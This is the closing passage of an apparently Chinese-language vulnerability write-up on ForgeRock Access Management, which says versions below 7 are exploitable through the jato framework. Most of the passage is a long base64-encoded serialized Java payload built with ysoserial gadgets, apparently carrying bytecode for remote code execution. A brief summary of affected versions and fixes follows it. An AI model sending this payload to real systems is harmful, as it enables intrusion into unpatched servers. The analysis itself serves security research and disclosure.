QBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$

 

0x04 总结

这个漏洞分析有些曲折,主要是原先没用过ForgeRock的AM。但是这个在7以下版本还是可以通杀是不错的,主要是jato已经比较长时间没有更新了,新版的7的修复方法是直接仅用了jato,官方也给出了对于6.x的修复方法。缺了一步动态调试触发POC那里,以后有机会补上。由于水平有限,所以希望各位大佬不吝赐教,大家一起共同进步。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0